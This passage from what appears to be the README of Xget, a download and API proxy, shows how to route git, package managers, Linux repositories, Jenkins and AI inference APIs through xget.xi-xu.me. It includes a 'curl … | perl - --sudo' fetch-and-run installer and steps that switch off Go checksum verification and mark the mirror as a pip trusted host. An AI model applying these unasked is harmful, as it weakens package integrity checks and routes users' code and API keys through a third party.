| `https://api.siray.ai/...` | `https://xget.xi-xu.me/ip/siray/...` | | HF Inference | `huggingface` | `https://router.huggingface.co/...` | `https://xget.xi-xu.me/ip/huggingface/...` | | Together | `together` | `https://api.together.xyz/...` | `https://xget.xi-xu.me/ip/together/...` | | Replicate | `replicate` | `https://api.replicate.com/...` | `https://xget.xi-xu.me/ip/replicate/...` | | Fireworks | `fireworks` | `https://api.fireworks.ai/...` | `https://xget.xi-xu.me/ip/fireworks/...` | | Nebius | `nebius` | `https://api.studio.nebius.ai/...` | `https://xget.xi-xu.me/ip/nebius/...` | | Jina | `jina` | `https://api.jina.ai/...` | `https://xget.xi-xu.me/ip/jina/...` | | Voyage AI | `voyageai` | `https://api.voyageai.com/...` | `https://xget.xi-xu.me/ip/voyageai/...` | | Fal AI | `falai` | `https://fal.run/...` | `https://xget.xi-xu.me/ip/falai/...` | | Novita | `novita` | `https://api.novita.ai/...` | `https://xget.xi-xu.me/ip/novita/...` | | Burncloud | `burncloud` | `https://ai.burncloud.com/...` | `https://xget.xi-xu.me/ip/burncloud/...` | | OpenRouter | `openrouter` | `https://openrouter.ai/...` | `https://xget.xi-xu.me/ip/openrouter/...` | | Poe | `poe` | `https://api.poe.com/...` | `https://xget.xi-xu.me/ip/poe/...` | | Featherless AI | `featherlessai` | `https://api.featherless.ai/...` | `https://xget.xi-xu.me/ip/featherlessai/...` | | Hyperbolic | `hyperbolic` | `https://api.hyperbolic.xyz/...` | `https://xget.xi-xu.me/ip/hyperbolic/...` | ```url # OpenAI API original URL https://api.openai.com/v1/chat/completions # Converted (add ip/openai prefix) https://xget.xi-xu.me/ip/openai/v1/chat/completions # Claude API original URL https://api.anthropic.com/v1/messages # Converted (add ip/anthropic prefix) https://xget.xi-xu.me/ip/anthropic/v1/messages # Gemini API original URL https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent # Converted (add ip/gemini prefix) https://xget.xi-xu.me/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent # HF Inference API original URL https://router.huggingface.co/hf-inference/models/openai/whisper-large-v3 # Converted (add ip/huggingface prefix) https://xget.xi-xu.me/ip/huggingface/hf-inference/models/openai/whisper-large-v3 ``` For use cases, see [AI Inference API Acceleration](#ai-inference-api-acceleration). ## 🎯 Use Cases ### Git Operations and Configuration #### Git Operations ```bash # Clone repository git clone https://xget.xi-xu.me/gh/microsoft/vscode.git # Clone specific branch git clone -b main https://xget.xi-xu.me/gh/facebook/react.git # Shallow clone (latest commit only) git clone --depth 1 https://xget.xi-xu.me/gh/torvalds/linux.git # Clone GitLab repository git clone https://xget.xi-xu.me/gl/gitlab-org/gitlab.git # Clone Gitea repository git clone https://xget.xi-xu.me/gitea/gitea/gitea.git # Clone Codeberg repository git clone https://xget.xi-xu.me/codeberg/forgejo/forgejo.git # Clone SourceForge repository git clone https://xget.xi-xu.me/sf/projects/mingw-w64/code.git # Clone AOSP repository git clone https://xget.xi-xu.me/aosp/platform/frameworks/base.git # Add remote repository git remote add upstream https://xget.xi-xu.me/gh/[owner]/[repository].git # Pull updates git pull https://xget.xi-xu.me/gh/microsoft/vscode.git main # Recursive submodule clone git clone --recursive https://xget.xi-xu.me/gh/[username]/[repository-with-submodules].git ``` #### Git Global Acceleration Configuration ```bash # Configure Git to use Xget for specific domains git config --global url."https://xget.xi-xu.me/gh/".insteadOf "https://github.com/" git config --global url."https://xget.xi-xu.me/gl/".insteadOf "https://gitlab.com/" git config --global url."https://xget.xi-xu.me/gitea/".insteadOf "https://gitea.com/" git config --global url."https://xget.xi-xu.me/codeberg/".insteadOf "https://codeberg.org/" git config --global url."https://xget.xi-xu.me/sf/".insteadOf "https://sourceforge.net/" git config --global url."https://xget.xi-xu.me/aosp/".insteadOf "https://android.googlesource.com/" # Verify configuration git config --global --get-regexp url # Now all git clone operations for relevant platforms will automatically use Xget git clone https://github.com/microsoft/vscode.git # Automatically converted to Xget URL git clone https://gitlab.com/gitlab-org/gitlab.git # Automatically converted to Xget URL git clone https://codeberg.org/forgejo/forgejo.git # Automatically converted to Xget URL git clone https://android.googlesource.com/platform/frameworks/base.git # Automatically converted to Xget URL ``` ### Mainstream Download Tool Integration #### wget Download ```bash # Download single file wget https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip # Resume download wget -c https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin # Batch download wget -i urls.txt # urls.txt contains multiple Xget URLs ``` #### cURL Download ```bash # Basic download curl -L -O https://xget.xi-xu.me/gh/golang/go/archive/refs/tags/go1.22.0.tar.gz # Show progress bar curl -L --progress-bar -o model.bin https://xget.xi-xu.me/hf/openai/whisper-large-v3/resolve/main/pytorch_model.bin # Set user agent curl -L -H "User-Agent: MyApp/1.0" https://xget.xi-xu.me/gl/gitlab-org/gitlab-runner/-/archive/main/gitlab-runner-main.zip ``` #### aria2 Multi-threaded Download ```bash # Multi-threaded download of large files aria2c -x 16 -s 16 https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin # Resume download aria2c -c https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip # Batch download configuration file aria2c -i download-list.txt # File containing multiple Xget URLs ``` ### Hugging Face Mirror ```python import os from transformers import AutoTokenizer, AutoModelForCausalLM # Set environment variable to make transformers library automatically use Xget mirror os.environ['HF_ENDPOINT'] = 'https://xget.xi-xu.me/hf' # Define model name model_name = 'microsoft/DialoGPT-medium' print(f"Downloading model from mirror: {model_name}") # Use AutoModelForCausalLM to load dialogue generation model # Since we set the environment variable above, no additional parameters are needed here tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForCausalLM.from_pretrained(model_name) print("Model and tokenizer loaded successfully!") # You can now use the tokenizer and model # For example: # new_user_input_ids = tokenizer.encode("Hello, how are you?", return_tensors='pt') # chat_history_ids = model.generate(new_user_input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id) # print(tokenizer.decode(chat_history_ids[:, new_user_input_ids.shape[-1]:][0], skip_special_tokens=True)) ``` ### Civitai AI Model Platform ```python import requests # Set API base URL to use Xget base_url = "https://xget.xi-xu.me/civitai" # Get model information def get_model_info(model_id): """Get Civitai model information""" url = f"{base_url}/api/v1/models/{model_id}" response = requests.get(url) return response.json() # Download model def download_model(model_version_id, output_path): """Download Civitai model file""" download_url = f"{base_url}/api/download/models/{model_version_id}" print(f"Downloading model version {model_version_id}...") response = requests.get(download_url, stream=True) response.raise_for_status() with open(output_path, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) print(f"Model downloaded to: {output_path}") # Usage example model_id = 7240 # Example model ID model_info = get_model_info(model_id) print(f"Model name: {model_info['name']}") # Download first model version if model_info['modelVersions']: version_id = model_info['modelVersions'][0]['id'] download_model(version_id, f"model_{version_id}.safetensors") ``` ### npm Package Acceleration #### Configure npm to Use Xget Mirror ```bash # Temporarily use Xget mirror npm install --registry https://xget.xi-xu.me/npm/ # Globally configure npm mirror npm config set registry https://xget.xi-xu.me/npm/ # Verify configuration npm config get registry ``` #### Configure Bun to Use Xget Mirror ```toml # bunfig.toml (project-level) or ~/.bunfig.toml (global) [install] registry = "https://xget.xi-xu.me/npm/" ``` ```bash # Install dependencies with Bun bun install # Bun also supports .npmrc, so you can reuse existing npm registry settings echo "registry=https://xget.xi-xu.me/npm/" > .npmrc bun install ``` #### Use in Project (npm / Bun) ```bash # Configure project-level mirror in .npmrc (.npmrc can be reused by npm / Bun) echo "registry=https://xget.xi-xu.me/npm/" > .npmrc # Install dependencies with npm npm install # Install dependencies with Bun bun install ``` ### Python Package Acceleration #### Configure pip to Use Xget Mirror ```bash # Temporarily use Xget mirror pip install requests -i https://xget.xi-xu.me/pypi/simple/ # Globally configure pip mirror pip config set global.index-url https://xget.xi-xu.me/pypi/simple/ pip config set global.trusted-host xget.xi-xu.me # Verify configuration pip config list ``` #### Use in Project ```bash # Create pip.conf file (Linux/macOS) mkdir -p ~/.pip cat > ~/.pip/pip.conf << EOF [global] index-url = https://xget.xi-xu.me/pypi/simple/ trusted-host = xget.xi-xu.me EOF # Or create pip.conf in project root directory cat > pip.conf << EOF [global] index-url = https://xget.xi-xu.me/pypi/simple/ trusted-host = xget.xi-xu.me EOF # Install using configuration file pip install -r requirements.txt --config-file pip.conf ``` #### Specify Mirror in requirements.txt ```txt # requirements.txt --index-url https://xget.xi-xu.me/pypi/simple/ --trusted-host xget.xi-xu.me requests>=2.25.0 numpy>=1.21.0 pandas>=1.3.0 matplotlib>=3.4.0 ``` ### conda Package Acceleration #### Configure conda to Use Xget Mirror ```bash # Configure default channel mirrors conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/msys2 conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/r conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/main # Configure all community channel mirrors (recommended) conda config --set channel_alias https://xget.xi-xu.me/conda/community # Or configure specific community channels conda config --add channels https://xget.xi-xu.me/conda/community/conda-forge conda config --add channels https://xget.xi-xu.me/conda/community/bioconda # Set channel priority conda config --set channel_priority strict # Verify configuration conda config --show ``` #### Configure in .condarc The .condarc file can be placed in the user home directory (`~/.condarc`) or project root directory: ```yaml default_channels: - https://xget.xi-xu.me/conda/pkgs/main - https://xget.xi-xu.me/conda/pkgs/r - https://xget.xi-xu.me/conda/pkgs/msys2 channel_alias: https://xget.xi-xu.me/conda/community channel_priority: strict show_channel_urls: true ``` #### Use Environment File The environment file can directly specify complete mirror URLs: ```yaml # environment.yml name: myproject channels: - https://xget.xi-xu.me/conda/pkgs/main - https://xget.xi-xu.me/conda/pkgs/r - https://xget.xi-xu.me/conda/community/bioconda - https://xget.xi-xu.me/conda/community/conda-forge dependencies: - python=3.11 - numpy>=1.24.0 - pandas>=2.0.0 - matplotlib>=3.7.0 - scipy>=1.10.0 - pip - pip: - requests>=2.28.0 ``` ```bash # Create environment using environment file conda env create -f environment.yml # Update environment conda env update -f environment.yml ``` ### Maven Package Acceleration #### Configure Maven to Use Xget Mirror ```xml xget-maven-central central Xget Maven Central Mirror https://xget.xi-xu.me/maven/maven2 ``` #### Use in Project ```xml xget-maven-central Xget Maven Central https://xget.xi-xu.me/maven/maven2 xget-maven-central Xget Maven Central https://xget.xi-xu.me/maven/maven2 ``` ```bash # Specify mirror using command line mvn clean install -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2 # Download specific dependency mvn dependency:get -Dartifact=org.springframework:spring-core:5.3.21 \ -DremoteRepositories=https://xget.xi-xu.me/maven/maven2 ``` ### Apache Software Download Acceleration #### Download Apache Software Using Xget ```bash # Download Apache Kafka wget https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz # Download Apache Maven curl -L -O https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz # Download Apache Spark aria2c https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz # Download Apache Hadoop wget https://xget.xi-xu.me/apache/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz # Download Apache Flink curl -L -O https://xget.xi-xu.me/apache/flink/flink-1.18.1/flink-1.18.1-bin-scala_2.12.tgz ``` #### Common Apache Software Downloads ```bash # Big data related wget https://xget.xi-xu.me/apache/hive/hive-3.1.3/apache-hive-3.1.3-bin.tar.gz wget https://xget.xi-xu.me/apache/hbase/2.5.7/hbase-2.5.7-bin.tar.gz wget https://xget.xi-xu.me/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz # Web servers wget https://xget.xi-xu.me/apache/httpd/httpd-2.4.59.tar.gz wget https://xget.xi-xu.me/apache/tomcat/tomcat-10/v10.1.19/bin/apache-tomcat-10.1.19.tar.gz # Development tools wget https://xget.xi-xu.me/apache/ant/1.10.14/apache-ant-1.10.14-bin.tar.gz wget https://xget.xi-xu.me/apache/netbeans/netbeans/20/netbeans-20-bin.zip ``` ### Gradle Package Acceleration #### Configure Gradle to Use Xget Mirror ```gradle // Configure Gradle mirror in build.gradle repositories { maven { url 'https://xget.xi-xu.me/maven/maven2' } gradlePluginPortal { url 'https://xget.xi-xu.me/gradle/m2' } } // Configure plugin repositories pluginManagement { repositories { maven { url 'https://xget.xi-xu.me/gradle/m2' } gradlePluginPortal() } } ``` #### Global Configuration ```gradle // Configure global mirror in ~/.gradle/init.gradle allprojects { repositories { maven { url 'https://xget.xi-xu.me/maven/maven2' } } } settingsEvaluated { settings -> settings.pluginManagement { repositories { maven { url 'https://xget.xi-xu.me/gradle/m2' } gradlePluginPortal() } } } ``` ```bash # Specify mirror using command line gradle build -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2 # Refresh dependencies gradle build --refresh-dependencies ``` ### Homebrew Package Acceleration #### Configure Homebrew to Use Xget Mirror ```bash # Set Homebrew environment variables to use Xget mirror export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git" export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git" export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api" export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles" # Update Homebrew brew update ``` #### Long-term Configuration ```bash # For bash users, add to ~/.bash_profile echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.bash_profile echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.bash_profile echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.bash_profile echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.bash_profile # For zsh users, add to ~/.zprofile echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.zprofile echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.zprofile echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.zprofile echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.zprofile ``` #### Use in Project ```bash # Install packages brew install git # Search packages brew search python # Update packages brew upgrade # View installed packages brew list ``` #### Verify Mirror Configuration ```bash # Check Homebrew configuration brew config # View environment variables echo $HOMEBREW_API_DOMAIN echo $HOMEBREW_BOTTLE_DOMAIN ``` ### Ruby Package Acceleration #### Configure RubyGems to Use Xget Mirror ```bash # Temporarily use Xget mirror gem install rails --source https://xget.xi-xu.me/rubygems/ # Globally configure RubyGems mirror gem sources --add https://xget.xi-xu.me/rubygems/ gem sources --remove https://rubygems.org/ # Verify configuration gem sources -l ``` #### Use in Project ```ruby # Configure project-level mirror in Gemfile source 'https://xget.xi-xu.me/rubygems/' gem 'rails', '~> 7.0.0' gem 'pg', '~> 1.1' gem 'puma', '~> 5.0' ``` ```bash # Install using bundle bundle config mirror.https://rubygems.org https://xget.xi-xu.me/rubygems/ bundle install ``` ### R Package Acceleration #### Configure R to Use Xget CRAN Mirror ```r # Temporarily use Xget CRAN mirror in R install.packages("ggplot2", repos = "https://xget.xi-xu.me/cran/") # Globally configure CRAN mirror options(repos = c(CRAN = "https://xget.xi-xu.me/cran/")) # Verify configuration getOption("repos") ``` #### Configure in .Rprofile ```r # Configure global mirror in .Rprofile file in user home directory options(repos = c( CRAN = "https://xget.xi-xu.me/cran/", BioCsoft = "https://bioconductor.org/packages/release/bioc", BioCann = "https://bioconductor.org/packages/release/data/annotation", BioCexp = "https://bioconductor.org/packages/release/data/experiment" )) # Set download method options(download.file.method = "libcurl") ``` #### Use in Project ```r # Specify mirror in project's renv.lock or script renv::init() renv::settings$repos.override(c(CRAN = "https://xget.xi-xu.me/cran/")) # Install packages install.packages(c("dplyr", "ggplot2", "tidyr")) # Or use pak package manager pak::pkg_install("tidyverse", repos = "https://xget.xi-xu.me/cran/") ``` ```bash # Install packages using R script in command line Rscript -e "options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')); install.packages('ggplot2')" # Batch install packages Rscript -e " options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')) packages <- c('dplyr', 'ggplot2', 'tidyr', 'readr') install.packages(packages) " ``` ### Perl Package Acceleration #### Configure CPAN to Use Xget Mirror ```bash # Configure CPAN to use Xget mirror cpan o conf urllist push https://xget.xi-xu.me/cpan/ cpan o conf commit # Or directly edit configuration file ~/.cpan/CPAN/MyConfig.pm # Add: # 'urllist' => [q[https://xget.xi-xu.me/cpan/]], ``` #### Use cpanm to Install Modules ```bash # Install cpanm (if not available) curl -L https://cpanmin.us | perl - --sudo App::cpanminus # Install modules using Xget mirror cpanm --mirror https://xget.xi-xu.me/cpan/ DBI cpanm --mirror https://xget.xi-xu.me/cpan/ Mojolicious # Install dependencies from Makefile.PL cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps . ``` #### Use in Project ```perl # List dependencies in cpanfile requires 'DBI'; requires 'Mojolicious'; requires 'JSON'; # Then install using Xget mirror cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps . ``` ### TeX/LaTeX Package Acceleration #### Configure TeX Live to Use Xget CTAN Mirror ```bash # Configure tlmgr to use Xget CTAN mirror tlmgr option repository https://xget.xi-xu.me/ctan/systems/texlive/tlnet # Update package database tlmgr update --self --all # Install packages tlmgr install beamer tlmgr install tikz ``` #### Configure MiKTeX to Use Xget Mirror ```bash # Windows MiKTeX configuration mpm --set-repository=https://xget.xi-xu.me/ctan/systems/win32/miktex # Update package database mpm --update-db # Install packages mpm --install=beamer mpm --install=pgf ``` #### Use in Project ```bash # Automatically install missing packages during LaTeX document compilation pdflatex --shell-escape document.tex # Or manually install specific packages tlmgr install caption tlmgr install subcaption tlmgr install algorithm2e ``` ### Go Module Acceleration #### Configure Go to Use Xget Proxy ```bash # Configure Go module proxy export GOPROXY=https://xget.xi-xu.me/golang,direct export GOSUMDB=off # Or permanently configure go env -w GOPROXY=https://xget.xi-xu.me/golang,direct go env -w GOSUMDB=off # Verify configuration go env GOPROXY ``` #### Use in Project ```bash # Download dependencies go mod download # Update dependencies go get -u ./... # Clean module cache go clean -modcache ``` ### NuGet Package Acceleration #### Configure NuGet to Use Xget Mirror ```bash # Add Xget package source dotnet nuget add source https://xget.xi-xu.me/nuget/v3/index.json -n xget # List package sources dotnet nuget list source # Use in project dotnet restore --source https://xget.xi-xu.me/nuget/v3/index.json ``` #### Configure in NuGet.Config ```xml ``` ### Rust Package Acceleration #### Configure Cargo to Use Xget Mirror ```bash # Configure Cargo to use Xget mirror (in ~/.cargo/config.toml) mkdir -p ~/.cargo cat >> ~/.cargo/config.toml << EOF [source.crates-io] replace-with = "xget" [source.xget] registry = "https://xget.xi-xu.me/crates/" EOF # Verify configuration cargo search serde ``` #### Use in Project ```toml # Can use dependencies normally in Cargo.toml [dependencies] serde = "1.0" tokio = "1.0" reqwest = "0.11" ``` ```bash # Xget will be automatically used when building the project cargo build # Update dependencies cargo update # Add new dependency cargo add clap ``` ### PHP Package Acceleration #### Configure Composer to Use Xget Mirror ```bash # Globally configure Composer mirror composer config -g repo.packagist composer https://xget.xi-xu.me/packagist/ # Project-level configuration composer config repo.packagist composer https://xget.xi-xu.me/packagist/ # Verify configuration composer config -l ``` #### Configure in composer.json ```json { "repositories": [ { "type": "composer", "url": "https://xget.xi-xu.me/packagist/" } ], "require": { "symfony/console": "^6.0", "guzzlehttp/guzzle": "^7.0" } } ``` ### Flathub Repository Mirror #### Configure Flatpak / Flathub to Use Xget Mirror ```bash # If Flathub has not been added before, import the official descriptor # first so Flatpak trusts the Flathub signing key. flatpak remote-add --if-not-exists flathub \ https://dl.flathub.org/repo/flathub.flatpakrepo # Then repoint the existing Flathub remote to the Xget mirror flatpak remote-modify flathub \ --url=https://xget.xi-xu.me/flathub/repo/ # Restore the default upstream when needed flatpak remote-modify flathub \ --url=https://dl.flathub.org/repo/ ``` Xget mirrors the Flathub OSTree repository endpoint. On current Flatpak clients, importing a mirrored `.flatpakrepo` descriptor or adding the mirrored repository directly may still fall back to the upstream Flathub URL or fail to import the signing key, so `flatpak remote-modify ... --url=...` is the reliable setup. For system-wide remotes, run the same commands with `sudo`. #### Supported Flathub Services ```url # OSTree repository metadata https://xget.xi-xu.me/flathub/repo/config https://xget.xi-xu.me/flathub/repo/summary https://xget.xi-xu.me/flathub/repo/summary.sig https://xget.xi-xu.me/flathub/repo/summary.idx https://xget.xi-xu.me/flathub/repo/summaries/... # Flatpak remote descriptor https://xget.xi-xu.me/flathub/repo/flathub.flatpakrepo # App reference descriptor https://xget.xi-xu.me/flathub/repo/appstream/[app-id].flatpakref # Repository objects and static deltas https://xget.xi-xu.me/flathub/repo/objects/... https://xget.xi-xu.me/flathub/repo/deltas/... https://xget.xi-xu.me/flathub/repo/delta-indexes/... ``` #### Usage Examples ```bash # Verify that the saved remote URL now points to Xget flatpak remotes --show-details # Inspect remote contents flatpak remote-ls flathub # Install an app after repointing the Flathub remote flatpak install flathub org.gnome.gedit # Install directly from a rewritten .flatpakref flatpak install --from \ https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref # Print libcurl HTTP traces when troubleshooting OSTREE_DEBUG_HTTP=1 flatpak remote-ls flathub # Update installed apps and runtimes flatpak update ``` ### Linux Distribution Acceleration #### Debian/Ubuntu APT Configuration ```bash # Backup original source list sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup # Configure Debian mirror echo "deb https://xget.xi-xu.me/debian/debian bookworm main" | sudo tee /etc/apt/sources.list echo "deb https://xget.xi-xu.me/debian/debian-security bookworm-security main" | sudo tee -a /etc/apt/sources.list # Configure Ubuntu mirror echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy main restricted universe multiverse" | sudo tee /etc/apt/sources.list echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy-updates main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list # Update package list sudo apt update ``` #### Fedora DNF Configuration ```bash # Configure Fedora mirror sudo sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/fedora*.repo sudo sed -i 's|^#baseurl=http://download.example/pub/fedora/linux|baseurl=https://xget.xi-xu.me/fedora/pub/fedora/linux|g' /etc/yum.repos.d/fedora*.repo # Update package cache sudo dnf makecache ``` #### Rocky Linux DNF Configuration ```bash # Configure Rocky Linux mirror sudo sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/rocky*.repo sudo sed -i 's|^#baseurl=http://dl.rockylinux.org|baseurl=https://xget.xi-xu.me/rocky|g' /etc/yum.repos.d/rocky*.repo # Update package cache sudo dnf makecache ``` #### openSUSE Zypper Configuration ```bash # Configure openSUSE Leap mirror sudo zypper mr -d repo-oss sudo zypper ar -f https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/ repo-oss-xget # Configure openSUSE Tumbleweed mirror sudo zypper mr -d repo-oss sudo zypper ar -f https://xget.xi-xu.me/opensuse/tumbleweed/repo/oss/ repo-oss-xget # Refresh software sources sudo zypper refresh # Verify configuration sudo zypper lr -u ``` #### Arch Linux Pacman Configuration ```bash # Backup original mirror list sudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.backup # Configure Arch Linux mirror echo 'Server = https://xget.xi-xu.me/arch/$repo/os/$arch' | sudo tee /etc/pacman.d/mirrorlist # Update package database sudo pacman -Sy ``` ### Academic Resource Acceleration #### arXiv Paper Download ```bash # Download arXiv paper PDF wget https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf # Download paper source curl -L -O https://xget.xi-xu.me/arxiv/e-print/2301.07041 # Batch download multiple papers for id in 2301.07041 2302.13971 2303.08774; do wget https://xget.xi-xu.me/arxiv/pdf/${id}.pdf done ``` #### Use in Academic Tools ```python # Use arXiv accelerated download in Python import requests def download_arxiv_paper(arxiv_id, output_path): url = f"https://xget.xi-xu.me/arxiv/pdf/{arxiv_id}.pdf" response = requests.get(url) if response.status_code == 200: with open(output_path, 'wb') as f: f.write(response.content) print(f"Downloaded {arxiv_id} to {output_path}") else: print(f"Failed to download {arxiv_id}") # Download paper download_arxiv_paper("2301.07041", "attention_is_all_you_need.pdf") ``` ### F-Droid Repository Mirror #### Configure F-Droid Client to Use Xget Mirror 1. In F-Droid app, go to **Settings** → **Repositories** 2. Click **+** and enter repository URL: `https://xget.xi-xu.me/fdroid/repo` 3. Click **Add** then click **Add Mirror** #### Supported F-Droid Services ```url # F-Droid app APK download https://xget.xi-xu.me/fdroid/repo/[package-name]_[version-code].apk # F-Droid repository index https://xget.xi-xu.me/fdroid/repo/index-v1.jar # F-Droid app icons https://xget.xi-xu.me/fdroid/repo/icons-640/[package-name].[version-code].png # F-Droid API endpoints https://xget.xi-xu.me/fdroid/api/v1/packages/[package-name] ``` #### Usage Examples ```bash # Directly download F-Droid client APK wget https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk # Download other open source apps curl -L -O https://xget.xi-xu.me/fdroid/repo/org.mozilla.fennec_fdroid_1014000.apk # Get app information curl https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid ``` #### Batch App Management ```bash # Create app download script cat > download_fdroid_apps.sh << 'EOF' #!/bin/bash # Define list of apps to download apps=( "org.fdroid.fdroid_1016050.apk" "org.mozilla.fennec_fdroid_1014000.apk" "com.termux_1180.apk" "org.videolan.vlc_13050399.apk" ) # Create download directory mkdir -p fdroid_apps # Batch download apps for app in "${apps[@]}"; do echo "Downloading: $app" wget -P fdroid_apps "https://xget.xi-xu.me/fdroid/repo/$app" done echo "All apps downloaded!" EOF chmod +x download_fdroid_apps.sh ./download_fdroid_apps.sh ``` #### Developer Integration For Android developers, F-Droid mirror can be integrated into build scripts: ```gradle // Configure F-Droid dependency check in build.gradle task checkFDroidAvailability { doLast { def fdroidUrl = "https://xget.xi-xu.me/fdroid/api/v1/packages/${project.name}" try { def connection = new URL(fdroidUrl).openConnection() connection.requestMethod = 'GET' def responseCode = connection.responseCode if (responseCode == 200) { println "App available on F-Droid: $fdroidUrl" } } catch (Exception e) { println "Error checking F-Droid availability: ${e.message}" } } } ``` ### Jenkins Plugin Download #### Use Xget to Accelerate Jenkins Plugin Download and Update Supports Jenkins update center and plugin downloads, compatible with configuration methods of domestic mirrors like Tsinghua mirror. #### Jenkins Update Center Configuration ##### Method 1: Configure in Jenkins Web Interface 1. Log in to Jenkins management interface 2. Go to **Manage Jenkins** → **Plugins** → **Advanced** 3. In the **Update Site** section, change the URL to `https://xget.xi-xu.me/jenkins/update-center.json` 4. Click **Submit** to save configuration ##### Method 2: Modify Configuration File ```bash # Modify update center configuration file on Jenkins server # Default location: $JENKINS_HOME/hudson.model.UpdateCenter.xml sudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml # Change URL to: # https://xget.xi-xu.me/jenkins/update-center.json # Restart Jenkins service sudo systemctl restart jenkins ``` #### Supported Jenkins Services ```url # Jenkins update center JSON https://xget.xi-xu.me/jenkins/update-center.json # Jenkins update center (actual JSON format) https://xget.xi-xu.me/jenkins/update-center.actual.json # Jenkins plugin download https://xget.xi-xu.me/jenkins/download/plugins/[plugin-name]/[version]/[plugin-name].hpi # Experimental plugin update center https://xget.xi-xu.me/jenkins/experimental/update-center.json ``` #### Usage Examples ```bash # Download Maven plugin wget https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi # Download Git plugin curl -L -O https://xget.xi-xu.me/jenkins/download/plugins/git/5.2.1/git.hpi # Get update center information curl https://xget.xi-xu.me/jenkins/update-center.json # Batch download common plugins cat > download_jenkins_plugins.sh << 'EOF' #!/bin/bash # Define list of plugins to download plugins=( "git:5.2.1" "maven-plugin:3.27" "workflow-aggregator:596.v8c21c963d92d" "blueocean:1.27.8" "docker-workflow:563.vd5d2e5c4007f" ) # Create plugin download directory mkdir -p jenkins_plugins # Batch download plugins for plugin in "${plugins[@]}"; do name=$(echo $plugin | cut -d: -f1) version=$(echo $plugin | cut -d: -f2) echo "Downloading plugin: $name v$version" wget -P jenkins_plugins "https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi" done echo "All plugins downloaded!" EOF chmod +x download_jenkins_plugins.sh ./download_jenkins_plugins.sh ``` #### Offline Jenkins Deployment For Jenkins deployment in offline environments: ```bash # 1. Download Jenkins core file wget https://xget.xi-xu.me/jenkins/war/jenkins.war # 2. Create plugin packaging script cat > prepare_jenkins_offline.sh << 'EOF' #!/bin/bash # Create offline deployment directory structure mkdir -p jenkins_offline/{plugins,update_center} # Download update center configuration curl -o jenkins_offline/update_center/update-center.json \ https://xget.xi-xu.me/jenkins/update-center.json # Essential plugins list essential_plugins=( "ant:475.vf34069fef73c" "build-timeout:1.31" "credentials:1319.v7eb_51b_3a_c97b_" "git:5.2.1" "github:1.38.0" "gradle:2.8.2" "ldap:682.v7b_544c9d1512" "mailer:463.vedf8358e006b_" "matrix-auth:3.2.2" "maven-plugin:3.27" "pam-auth:1.10" "pipeline-stage-view:2.34" "ssh-slaves:2.973.v0fa_8c0dea_f9f" "timestamper:1.26" "workflow-aggregator:596.v8c21c963d92d" "ws-cleanup:0.45" ) # Download all essential plugins for plugin in "${essential_plugins[@]}"; do name=$(echo $plugin | cut -d: -f1) version=$(echo $plugin | cut -d: -f2) echo "Downloading $name:$version" wget -P jenkins_offline/plugins \ "https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi" done # Create deployment instructions cat > jenkins_offline/deploy_instructions.md << 'DEPLOY' # 